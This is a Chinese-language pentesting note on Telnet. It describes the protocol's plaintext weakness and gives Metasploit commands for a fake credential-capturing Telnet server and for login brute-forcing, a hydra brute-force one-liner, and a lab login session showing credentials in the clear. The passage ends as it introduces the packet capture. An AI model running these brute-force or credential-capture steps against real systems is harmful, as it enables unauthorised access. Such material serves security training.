使用Telnet可远程登录机器,Telnet 是一种客户端-服务器协议,默认端口是23。由于Telnet是
**<font style="color:#DF2A3F;">明文协议、可通过网络嗅探获取明文凭据</font>**
,现已被SSH取代,Windows和Linux都默认此服务不开启。
当然这只是一个简单介绍,如果想知道具体细节查看:
Telnet 详解
# 连接远程机器telnet服务
telnet 192.168.0.196 [23]
# 测试远程机器端口是否开启
telnet [domain name or ip] [port]
漏洞
存在各种 RCE 漏洞可以进行尝试
- 暴力破解账号
- 流量监听
伪装Telnet服务,诱骗凭据
use auxiliary/server/capture/telnet
set srvhost 192.168.0.102
set banner Welcome to Hacking Articles
exploit
Brute Forcing
use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > set rhosts 192.168.0.196
msf auxiliary(telnet_login) > set user_file /root/Desktop/user.txt
msf auxiliary(telnet_login) > set pass_file /root/Desktop/pass.txt
msf auxiliary(telnet_login) > set stop_on_success true
msf auxiliary(telnet_login) > exploit
hydra -l root -P /root/SecLists/Passwords/10_million_password_list_top_100.txt 192.168.1.101 telnet
流量监听
Telenet 协议在连接时会被要求输入用户名和密码,正确验证后,用户就可以访问远程终端, 但是 交互数据没有加密
.
现在我们举一个例子,我们进行远程连接目标:
pentester@TryHackMe$ telnet MACHINE_IP
Trying MACHINE_IP...
Connected to MACHINE_IP.
Escape character is '^]'.
Ubuntu 20.04.3 LTS
bento login: frank
Password: D2xc9CgD
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-84-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri 01 Oct 2021 12:24:56 PM UTC
System load: 0.05 Processes: 243
Usage of /: 45.7% of 6.53GB Users logged in: 1
Memory usage: 15% IPv4 address for ens33: MACHINE_IP
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
0 updates can be applied immediately.
*** System restart required ***
Last login: Fri Oct 1 12:17:25 UTC 2021 from meiyo on pts/3
You have mail.
frank@bento:~$
这时候如果我们抓取流量我们就可以看到数据在流量包中的形式: